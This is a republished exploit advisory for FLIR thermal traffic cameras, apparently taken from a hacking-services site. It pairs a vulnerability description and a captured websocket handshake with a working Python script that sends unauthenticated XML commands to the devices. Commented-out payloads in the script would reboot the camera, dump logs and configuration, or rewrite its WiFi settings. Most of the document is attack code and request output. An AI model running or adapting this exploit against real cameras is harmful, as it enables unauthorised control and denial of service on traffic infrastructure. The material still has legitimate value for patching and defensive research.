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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Title: FLIR Thermal Traffic Cameras 1.01-0bb5b27 - Information Disclosure
# Author: Gjoko 'LiquidWorm' Krstic
# Date: 2018-10-06
# Vendor: FLIR Systems, Inc.
# Link: https://www.flir.com
# Tested on: nginx/1.12.1, nginx/1.10.2, nginx/1.8.0, Websocket/13 (RFC 6455)
# Affected firmware version: V1.01-0bb5b27 (TrafiOne)     Codename: TrafiOne
#                            E1.00.09      (TI BPL2 EDGE) Codename: TIIP4EDGE
#                            V1.02.P01     (TI x-stream)  Codename: TIIP2
#                            V1.05.P01     (ThermiCam)    Codename: ThermiCam
#                            V1.04.P02     (ThermiCam)    Codename: ThermiCam
#                            V1.04         (ThermiCam)    Codename: ThermiCam
#                            V1.01.P02     (ThermiCam)    Codename: ThermiCam
#                            V1.05.P03     (TrafiSense)   Codename: TrafiSense
#                            V1.06         (VIP-IP)       Codename: VIP-IP
#                            V1.02.P02     (TrafiRadar)   Codename: TrafiRadar
#
# Vendor patched firmware version:
#
# Product name                Firmware      Released 
# ----------------------------------------------------
# ThermiCam / TrafiSense      E1.06.03      17.09.2018
# TI BPL2 EDGE                V1.00         17.09.2018
# TI x-stream                 E1.03.02      17.09.2018
# TrafiOne                    E1.02.02      17.09.2018
# ----------------------------------------------------
#
# Advisory ID: ZSL-2018-5490
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5490.php
# Vendor firmware updates: https://www.flir.com/security/best-practices-for-cybersecurity/
# Vendor cyber hardening guide: https://www.flir.com/globalassets/security/flir-pro-security-cyber-hardening-guide.pdf

# Desc: FLIR thermal traffic cameras suffer from an unauthenticated device manipulation
# vulnerability utilizing the websocket protocol. The affected FLIR Intelligent
# Transportation Systems - ITS models use an insecure implementation of websocket
# communication used for administering the device. Authentication and authorization
# bypass via referencing a direct object allows an attacker to directly modify running
# configurations, disclose information or initiate a denial of service (DoS) scenario
# with Reboot command. The devices do not support the usage of TLS 'wss://' prefix for
# WebSocket Secure connection making the network traffic disclosed in plain-text to
# MitM evil-doers. Also, the web service has an Origin validation security issue and
# is vulnerable to Cross-Site WebSocket Hijacking (CSWSH).
#
# ---
# Request:
#
# GET ws://192.168.1.1:13042/ws/xml2 HTTP/1.1
# Host: 192.168.1.1:13042
# Connection: Upgrade
# Pragma: no-cache
# Cache-Control: no-cache
# User-Agent: Bond/00.7
# Upgrade: websocket
# Origin: zeroscience.mk:1337
# Sec-WebSocket-Version: 13
# Accept-Encoding: gzip, deflate
# Accept-Language: en-US,en;q=0.9
# Cookie: tmhDynamicLocale.locale=%22en%22
# Sec-WebSocket-Key: A5SH9PRtc3rYF49kKO4vmw==
# Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
#
# Response:
#
# HTTP/1.1 101 Switching Protocols
# Server: nginx/1.10.2
# Date: Mon, 13 Aug 2018 02:48:46 GMT
# Content-Length: 0
# Connection: upgrade
# Upgrade: WebSocket
# Sec-WebSocket-Accept: QyXaTdjpCsAyxhVnVqjMg95jepk=
#
# ---
# No HTTP/1.1 401 Unauthorized response observed.
#

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from websocket import create_connection as t00t
import time
import sys

endpoint = "/ws/xml2"

if (len(sys.argv) <= 2):
    print '[*] Usage: exploit.py <ipaddress> <port>'
    exit(0)

host = sys.argv[1]
port = sys.argv[2]

# Supported message types:
'''
<Message Type="SupportedMessages">
<Body>
	<Message Type="GetMessageConstraints"/>
	<Message Type="GetSupportedMessages"/>
	<Message Type="Session"/>
	<Message Type="Subscription"/>
	<Message Type="ClearData"/>
	<Message Type="GetConnectionInformation"/>
	<Message Type="GetData"/>
	<Message Type="GetEvents"/>
	<Message Type="GetLostData"/>
	<Message Type="GetManagedBy"/>
	<Message Type="GetPresenceData"/>
	<Message Type="GetPresenceLevel"/>
	<Message Type="GetPresenceLevelHistory"/>
	<Message Type="GetStorageLimits"/>
	<Message Type="SetConnectionSettings"/>
	<Message Type="SetManagedBy"/>
	<Message Type="ClearBootCount"/>
	<Message Type="ClearHistogram"/>
	<Message Type="ClearStoredCounter"/>
	<Message Type="ClearSystemLogs"/>
	<Message Type="CreateAviSequence"/>
	<Message Type="DoBadStuff"/> <-- ;]]
	<Message Type="ForceEvent"/>
	<Message Type="ForceKeyframe"/>
	<Message Type="GetBootCount"/>
	<Message Type="GetBplSettings"/>
	<Message Type="GetCameraConfiguration"/>
	<Message Type="GetCameraDefinitions"/>
	<Message Type="GetCameraSettings"/>
	<Message Type="GetConfiguration"/>
	<Message Type="GetConstraints"/>
	<Message Type="GetCpuStatistics"/>
	<Message Type="GetDateTime"/>
	<Message Type="GetDisplayOverlay"/>
	<Message Type="GetEventLog"/>
	<Message Type="GetEventsDescription"/>
	<Message Type="GetFrameFlow"/>
	<Message Type="GetHardwareInformation"/>
	<Message Type="GetHardwareSensors"/>
	<Message Type="GetHistogram"/>
	<Message Type="GetImage"/>
	<Message Type="GetImageSharpness"/>
	<Message Type="GetLeptonSettings"/>
	<Message Type="GetLoggingActivation"/>
	<Message Type="GetMemoryStatistics"/>
	<Message Type="GetNumberOfOutputs"/>
	<Message Type="GetOpenEvents"/>
	<Message Type="GetOutputsState"/>
	<Message Type="GetPermissions"/>
	<Message Type="GetProductInformation"/>
	<Message Type="GetSocketInformation"/>
	<Message Type="GetState"/>
	<Message Type="GetStoredCounter"/>
	<Message Type="GetSystemLogs"/>
	<Message Type="GetTemperature"/>
	<Message Type="GetThermalQualityHistogram"/>
	<Message Type="GetThermalQualityReferenceImage"/>
	<Message Type="GetThreadInformation"/>
	<Message Type="GetTime"/>
	<Message Type="GetTranslations"/>
	<Message Type="GetUpTime"/>
	<Message Type="GetVersion"/>
	<Message Type="GetVoltage"/>
	<Message Type="GetWifiInformation"/>
	<Message Type="KeepAlive"/>
	<Message Type="Notify"/>
	<Message Type="PauseDetectionFramework"/>
	<Message Type="Reboot"/>
	<Message Type="SetBplSettings"/>
	<Message Type="SetCameraConfiguration"/>
	<Message Type="SetCameraSettings"/>
	<Message Type="SetConfiguration"/>
	<Message Type="SetConstraintsFilter"/>
	<Message Type="SetDateTime"/>
	<Message Type="SetDisplayOverlay"/>
	<Message Type="SetHardwareInformation"/>
	<Message Type="SetLeptonSettings"/>
	<Message Type="SetLoggingActivation"/>
	<Message Type="SetTime"/>
	<Message Type="SetWifiInformation"/>
	<Message Type="UpdateFrameFlow"/>
</Body>
</Message>
'''

socket = t00t("ws://"+host+":"+port+endpoint)

#print 'Sending Reboot message type (DoS)...'
#msg = '<Message Type=\"Reboot\"></Message>'
#print 'Getting supported messages...'
#msg = '<Message Type=\"GetSupportedMessages\"></Message>'
#print 'Getting system logs...'
#msg = '<Message Type=\"GetSystemLogs\"></Message>'
#print 'Getting device configuration...'
#msg = '<Message Type=\"GetConfiguration\"></Message>'
#print 'Setting new Wifi information...'
#msg ='''
#<Message Type="SetWifiInformation">
#    <Body Present="0" SSID="pwned" Channel="11" Hidden="0" Mode="AccessPoint" />
#</Message>
#'''

msg = '<Message Type=\"GetProductInformation\"></Message>'

socket.send(msg)
print 'Message sent.'
print 'Receiving...'
time.sleep(2)
priem =  socket.recv()
print 'Received data: \n%s' % priem
socket.close()